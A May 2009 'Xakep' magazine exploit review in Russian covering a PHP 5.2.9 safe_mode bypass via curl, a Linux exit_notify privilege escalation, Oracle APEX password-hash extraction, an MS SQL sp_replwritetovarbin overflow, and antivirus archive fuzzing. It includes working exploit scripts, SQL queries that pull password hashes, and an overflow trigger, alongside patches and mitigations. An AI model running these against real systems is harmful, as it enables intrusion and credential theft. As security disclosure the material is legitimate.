Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 125, МАЙ 2009 г.

Обзор эксплоитов

Андрей Комаров (komarov@itdefence.ru)

На дворе месяц май, но мучения разработчиков в эту весеннюю пору не ослабятся. Наряду с ними мучиться будут и пользователи. С помощью свежей XSS всего за пару часов были украдены более 5000 аккаунтов «Вконтакте.ру». Последняя STABLE-версия ядра Linux страдает от повышения привилегий, известные брендовые железки CISCO ASA/PIX некорректно справляются с фрагментированными TCP-пакетами, а в последней версии PHP 5.2.9 появились новые способы обхода safe_mode и open_basedir. Впечатлен? Впрочем, апрель также был не слишком ровным. За тот месяц Microsoft выпустила 8 важнейших бюллетеней по безопасности, пять из которых имеют критический урон по безопасности (MS09-009, MS09-010, MS09-013, MS09-014, MS09-011).

Обход ограничений в PHP 5.2.9

BRIEF

Задача обхода safe_mode и open_basedir крайне актуальна (например, это существенно ограничивает действия хакера, даже при наличии загруженного веб-шелла). По сути, уязвимость была найдена в стороннем продукте - библиотеке libcurl, которую поддерживает PHP. Curl - известное средство для взаимодействия с сетью и соответствующими протоколами часто применяется при написании клиент-серверных приложений и в портированном виде присутствует практически в любом языке программирования. Рассмотрим простой пример кода:

curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd");

Вызов подобной функции подразумевает под собой следующее. Сначала Curl обращается к данным включенного safe_mod/open_basedir и проверяет их правилами «file:////etc/passwd». Замечу, что реальный файл – «./file:/etc/passwd», просто в параметрах функции мы умышленно поставили лишние слеши. Как ни странно, после такой махинации с целевой системы все равно локально будет считан файл «file:////etc/passwd» (он же /etc/passwd). Фишка некорректного распознавания может привести к очень неприятным последствиям.

EXPLOIT

В Сети был обнаружен абсолютно невнятный код эксплойта от SecurityReason (securityreason.com/achievement_exploitalert/11) в шифрованном виде и нерабочем состоянии. Невольно напрашивается небольшое объяснение. Итак, воссоздаем следующую иерархию папок («file:» в данном случае является папкой):

./file:/
./file:/etc/
./file:/etc/passwd/

Делаем сценарий такого рода:

#!/bin/sh
mkDIR("file:");
chdir("file:");
mkDIR("etc");
chdir("etc");
mkDIR("passwd");
chdir("..");
chdir("..");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);

TARGETS

php 5.2.9

SOLUTION

Пока никакого патча не вышло. Остается лишь полагаться на возможности безопасного режима PHP и использовать дополнительные средства безопасности ОС.

Локальное повышение привилегий в Linux (эксплуатация exit_notify())

BRIEF

Эксплуатация уязвимости заключается в отсылке системных сигналов дочернему процессу (уже имеющему suid). Системных сигналов или сообщений существует очень много; наряду с ними есть еще некие «способности» (capabilities). По сути, это привилегии программ совершать какие-либо действия: открывать RAW-сокет, изменять владельца файла, перезагружать компьютер, подгружать модули ядра и так далее. Естественно, многие из этих «способностей» и близко не нужны в штатном софте, иначе из них получается настоящее оружие либо злонамеренный софт для удержания привилегий в системе (или наоборот - порчи чужого имущества).
Начнем с краткого обзора наиболее важных «возможностей» ПО в среде Linux:

  • CAP_SETUID - управляет способностью root'овых программ сменять пользователя, под которым работает программа.
  • CAP_SETGID - управляет способностью root'овых программ сменять группу, под которой работает программа. Так работает, например, httpd, sendmail, postfix, ftpd, safe_finger.
  • CAP_HIDDEN - способность программ делаться невидимыми в списке процессов. Не влияет на все программы.
  • CAP_INIT_KILL - способность убивать процессы-потомки процесса init. К таким относятся практически все демоны.
  • CAP_SYS_CHROOT - управляет способностью устанавливать корневой каталог для текущего shell'а.
  • CAP_FSETID - запрещает/разрешает установку SUID'ного или SGID'ного бита на чужих файлах (не принадлежащих root'у).

Кое-какие из этих возможностей будет полезно контролировать. Одно из средств, организующих контроль – это LIDS (Linux Intrusion Detection System). Оно представляет собой патч ядра, значительно повышающий безопасность при работе с ОС (читай – аналог проекта grsecurity, не так давно описанного на страницах ][). Занимательная особенность LIDS в том, что нацелен он не совсем на контроль действий пользователя (это можно сделать и штатными средствами Linux) и даже не на обнаружение сетевых аномалий, а на предотвращение инцидента, когда злоумышленнику уже удалось пробраться в систему и даже получить привилегии root'a. По сути, это защита от нежелательных «root»-действий, которые может выполнить хакер, захватив систему. Ты заранее определяешь те действия, которые, даже будучи пьяным, никогда не попробуешь исполнить.

И отключить модуль можно, только введя добавочный пароль, установленный администратором. Однажды, изучая возможности этой системы, я решил пошутить над своим коллегой – запретил перезагрузку системы (отключение CAP_SYS_BOOT). Происшедшее долго приводило в недоумение его вместе с коллективом. При настройке конфигурации системы ты просто отмечаешь в конфигах LIDS эти пункты плюсами и минусами, после чего перезагружаешься. CAP_KILL включает либо отключает способность root'овых процессов убивать чужие процессы и, соответственно, преодолевает существующие ограничения на отправку системных сигналов. Ошибка содержится в функции exit_notify() (linux/kernel/exit.c). Перед выходом вредоносное приложение может выполнить setuid. Это будет означать, что мы не будем сбрасывать выходной сигнал на SIGCHLD (сигнал, посылаемый программой, когда дочерний процесс терминирован). Ошибку причисляют к классу Design error («ошибка в проектировании»).

EXPLOIT

Скачать эксплойт можно, скажем, с нашего сайта по ссылке – http://www.xakep.ru/post/47784/Linux-Kernel-Local-Privilege-Escalation-Exploit.txt.

TARGETS

Реализуется практически на всех редакциях Linux с kernel <2.6.29, в том числе, достаточно защищенных дистрибутивах вроде Trustix Secure Enterprise Linux 2.0, Trustix Secure Linux 2.2, Trustix Secure Linux 2.1 , Trustix Secure Linux 2.0. Исключение составляет Linux kernel 2.6.29 -git14.

SOLUTION

Уязвимость устраняется модификацией исходного кода ядра в соответствующей функции:

diff --git a/kernel/exit.c
b/kernel/exit.c
index 6686ed1..32cbf26
100644 (file)
--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -837,8 +837,7 @@ static void exit_notify(struct task_struct *tsk, int group_dead)
*/
if (tsk->exit_signal != SIGCHLD && !task_detached(tsk) &&
(tsk->parent_exec_id != tsk->real_parent->self_exec_id ||
- tsk->self_exec_id != tsk->parent_exec_id) &&
- !capable(CAP_KILL))
+ tsk->self_exec_id != tsk->parent_exec_id))
tsk->exit_signal = SIGCHLD;

signal = tracehook_notify_death(tsk, &cookie, group_dead);

http://patchwork.kernel.org/patch/16544/

Раскрытие хэшей паролей в Oracle APEX

BRIEF

APEX - известный проект Oracle, ранее называвшийся Oracle HTML-DB, предназначен для создания WEB-приложений и используется в качестве фреймворка. Для этого он устанавливается в непосредственной связке с СУБД Oracle, Apache или встроенным WEB-сервером в некоторые редакции Oracle Database (Express Edition, к примеру) Embedded PL/SQL Gateway (EPG).

Проблема в том, что пользователь с недостаточными для этого правами может обратиться к специально зарегистрированным приложением таблицам, после чего – напрямую запросить данные других пользователей.

EXPLOIT

Выполнить подключение к базе или получить возможность использования запросов к ней - вот одна из наиболее важных задач для реализации уязвимости. Традиционно в качестве средства подключения к Oracle можно использовать sqlplus (oracle.com/technology/tech/sql_plus/index.html).

# выполняем подключение
sqlplus login/pass

# запрашиваем текущее наше состояние и убеждаемся в том, что мы подключены
SQL> select granted_role from user_role_privs;

# запрашиваем всю информацию о владельце и таблицах, основываясь на известном APEX
SQL> select owner,table_name from all_tables where owner='FLOWS_030000';

OWNER TABLE_NAME
------------------------------ ------------------------------
FLOWS_030000 WWV_FLOW_DUAL100
FLOWS_030000 WWV_FLOW_LOV_TEMP
FLOWS_030000 WWV_FLOW_TEMP_TABLE

# запрашиваем список мест, содержащих поле «Password»
SQL> select owner||'.'||table_name||'.'||column_name from all_tab_columns where column_name like '%PASSWORD%' and owner like '%FLOWS_0300%';

OWNER||'.'||TABLE_NAME||'.'||COLUMN_NAME
--------------------------------------------------------------------------------
FLOWS_030000.WWV_FLOW_USERS.CHANGE_PASSWORD_ON_FIRST_USE
FLOWS_030000.WWV_FLOW_USERS.FIRST_PASSWORD_USE_OCCURRED
FLOWS_030000.WWV_FLOW_USERS.WEB_PASSWORD_RAW
FLOWS_030000.WWV_FLOW_USERS.WEB_PASSWORD2
FLOWS_030000.WWV_FLOW_USERS.WEB_PASSWORD
FLOWS_030000.WWV_FLOW_USERS.PASSWORD_LIFESPAN_DAYS
FLOWS_030000.WWV_FLOW_USERS.PASSWORD_LIFESPAN_ACCESSES
FLOWS_030000.WWV_FLOW_USERS.PASSWORD_ACCESSES_LEFT
FLOWS_030000.WWV_FLOW_USERS.PASSWORD_DATE

# забираем хэши
SQL> select user_name,web_password2 from FLOWS_030000.WWV_FLOW_USERS

USER_NAME WEB_PASSWORD2
--------------------------------------------------------------------------------
YURI 141FA790354FB6C72802FDEA86353F31

Полученные хэши могут быть проанализированы с помощью утилит вроде Repscan.

TARGETS

Версии базы с подключенным Oracle APEX.

SOLUTION

Компания своевременно выпустила набор исправлений «Oracle CPU April 2009».

Переполнение кучи в MS SQL Server sp_replwritetovarbin

BRIEF

Переполнение найдено в одной из процедур MS SQL Server. Уязвимость позволяет пользователю вызывать отказ в обслуживании либо исполнить произвольные команды на удаленной системе путем вызова бажной процедуры с аномальными параметрами, которые запишут данные за границами буфера.

TARGET

Подверженные продукты: Microsoft SQL Server 2000 SP4, 8.00.2050, 8.00.2039 и еще более ранние версии, SQL Server 2000 Desktop Engine (MSDE 2000) SP4; SQL Server 2005 SP2 (+9.00.1399.06 включительно), SQL Server 2000 Desktop Engine (WMSDE).

EXPLOIT

Боевой код эксплоита оформлен в виде ASP-приложения, которое организует четыре запроса для записи четырех байтов в участок памяти, пригодный для этого, а затем использует это адресное пространство для перезаписи указателя функции. Важно понимать, что эксплоит не имеет никакой ценности, если хакер не является доверенным пользователем. В дефолтовой конфигурации заявленная хранимая процедура доступна каждому авторизированному в базе пользователю. Для того, чтобы это исправить, можно выполнить следующий запрос на T-SQL:

EXECUTE master.dbo.SP_DROPEXTENDEDPROC 'sp_replwritetovarbin'

Мы удалим хранимую процедуру. Если не хочешь так поступать, можно просто ее отключить:

use [master]
GO
REVOKE EXECUTE ON [sys].[sp_replwritetovarbin] TO [public]
GO

Проверить наличие уязвимости можно следующим сценарием на T-SQL:

DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT

SET @buf = '
declare @retcode int,
@end_offset int,
@vb_buffer varbinary,
@vb_bufferlen int,
@buf nvarchar;
exec master.dbo.sp_replwritetovarbin 1,
@end_offset output,
@vb_buffer output,
@vb_bufferlen output,'''

SET @val = CHAR(0x41)

SET @counter = 0
WHILE @counter < 3000
BEGIN
SET @counter = @counter + 1
SET @buf = @buf + @val
END

SET @buf = @buf + ''',''1'',''1'',''1'',
''1'',''1'',''1'',''1'',''1'',''1'''

EXEC master..sp_executesql @buf

Если она, правда, имеется, – ты получишь ошибку невозможности обработать исключение по адресу «0x41414141».

SOLUTION

Уязвимость не качается MS SQL Server 2008. В свою очередь, Microsoft присвоила уязвимости идентификационный номер «MS09-004» (microsoft.com/technet/security/advisory/961040.mspx), дополнительную инфу по которому ты сможешь найти в два клика. Более подробно почитать об отключении хранимых процедур можно здесь («Removing an Extended Stored Procedure from SQL Server» - msdn.microsoft.com/en-us/library/aa215995(SQL.80).aspx).

ESET NOD32 – обход анализа

BRIEF

Зачастую сами же средства безопасности содержат в себе уязвимости. Например, драйвера современных антивирусных проектов кишат ошибками при обработке исключений, а также в реакции на внедрение аномалий. Тут и Kaspersky Internet Security (kl1.sys), и Defence Wall (dwall.sys), Avira Premium Security (avgntflt.sys), BitDefender Total Security 2009 (bdfndisf.sys), ZoneAlarm Security Suite (srescan.sys), Panda Global Protection 2009 (APPFLT.SYS), Internet Security 2009 (fsdfw.sys). Названные объекты были поражены с помощью фаззинга IOCTL-запросов с любыми методами ввода-вывода (о которых я не так давно упоминал, описывая уязвимость в драйвере PGP). Сейчас же тема в другом.

Любой антивирус поддерживает определенное количество архивных форматов файлов (RAR, ZIP, LHA и т.д.). Библиотеки для распаковывания таких файлов разработчики антивируса часто пишут сами, и вот они-то могут быть подвержены уязвимостям. В докладе нас будут интересовать именно распаковщики архивных форматов файлов. В качестве методики проверки уязвимостей мы будем использовать генерацию данных. Методы генерации можно разделить на интеллектуальные, когда у нас есть спецификация тестируемого формата файлов, и неинтеллектуальные – когда подразумевается, что мы ничего не знаем о тестируемом формате.

EXPLOIT

Как правило, при использовании неинтеллектуального метода генерации нужно, чтобы до начала процесса генерации у нас был неиспорченный (исходный) файл.

  1. Случайные данные. Пожалуй, один из самых примитивных и простых методов. Перезаписываем часть данных исходного файла случайными данными.
  2. Перестановка битов. Каждый раз при генерации испорченного файла меняем состояние бита исходного файла на противоположное.
  3. Блочный метод. На сегодняшний день – один из самых эффективных методов генерации данных. Среди фаззеров, первыми реализовавших данный метод, был SPIKE (выпущен в 2002 Дэвидом Айтелом). Как работает блочный фаззер (на примере SPIKE)? Основа фаззера – блок (список структур, содержащих информацию о размере блока и другие произвольные данные). Рассмотрим простой SPIKE-скрипт:

s_block_size_ascii_word("somefiledata");
s_block_start("somefiledata");
s_binary("41424344");
s_block_end("somefiledata");

Сначала скрипт добавляет 4 нулевых байта в выходной буфер. Затем добавляются еще 4 байта (0x41424344). После завершения блока 4 первых нулевых байта заменяются размером блока в ascii-формате. На выходе получаются следующие данные: 4ABCD. После того, как мы разработали линейное представление формата файла в виде SPIKE скрипта, мы можем пометить некоторые части скрипта как «переменные»:

s_block_size_ascii_word_variable("somefiledata"); // числовая переменная
s_block_start("somefiledata");
s_binary_variable("41424344"); // строковая переменная
s_block_end("somefiledata");

SPIKE содержит наборы чисел и строк (так называемые «плохие значения»), которые могут вызвать сбои в тестируемых программах, например, числа: 0, -1,4294967295,0,0x40000000,0x7fffffff и т.п., строки «%n%n%n%n","x00","../../../../../», строки из символов 'A' разной длины. В процессе генерации данных SPIKE заменяет очередную «переменную» числом или строкой из набора плохих значений, и те, вместо числовой переменной SPIKE, будут по очереди подставлять 0, -1, потом 4294967295 и т.д. После каждой такой замены SPIKE записывает выходные данные в очередной файл. Для того чтобы не дискредитировать развитие VX-кодеров и, соответственно, вендоров антивирусных компаний, намекаю на то, что подобной «едой» для антивируса можно завести его в бесконечный цикл или отказ в обслуживании. Это наблюдается и в NOD32 со всеми последними обновлениями. Схожие уязвимости были обнаружены в:

  • Bitdefender Antivirus 2009 - неспособность корректно обрабатывать CAB-архивы;
  • Avast! - некорректная обработка RAR-архивов;
  • Fortinet - некорректная обработка архивированных файлов.

Поэкспериментировать советую с фаззингом следующих форматов файлов: Zip, Zip SFX, ARJ, ARJ, SFX, TAR, GZ, ZOO, UUEncode, TNEF, MIME, BINHEX, MSCompress, CAB, CAB SFX, LZH, LZH SFX, LHA, RAR, RAR SFX, JAR, BZ2, Base64, Mac Binary, ASPack, CHM, DOC, EML, EXE, FSG, HLP, PDF, Yoda, ELF, PPT, OPD.

Забавный пример – давным-давно антивирус F-Pot не анализировал запароленные ZIP-архивы. Это было очень легко отследить, потому что письма с аттачами, проходившие через продукты F-Pot (E-mail Gateway scanner, к примеру), приходили получателю с модифицированной темой, к которой добавлялась строка «Attachment not scanned».

TARGETS

  • ESET Smart Security 4
  • ESET NOD32 Antivirus 4
  • ESET Smart Security 4 Business Edition
  • ESET NOD32 Antivirus 4 Business Edition
  • ESET NOD32 Antivirus for Exchange Server
  • ESET Mail Security
  • ESET NOD32 Antivirus for Lotus Domino Server
  • ESET File Security
  • ESET Novell Netware
  • ESET DELL STORAGE SERVERS
  • ESET NOD32 Antivirus for Linux gateway devices

SOLUTION

Уязвимость обнаружена Тьери Золлером (blog.zoller.lu), но подробности были раскрыты непосредственно только вендору. Удивительно, но реакция ESET оказалась достаточно хорошей (выпуск обновления по истечении 14 дней - eset.com/support/updates.php?pageno=3), что говорит о готовности компании соблюдать рамки SDL и поддерживать безопасность продуктов.

Содержание
ttfb: 35.18009185791 ms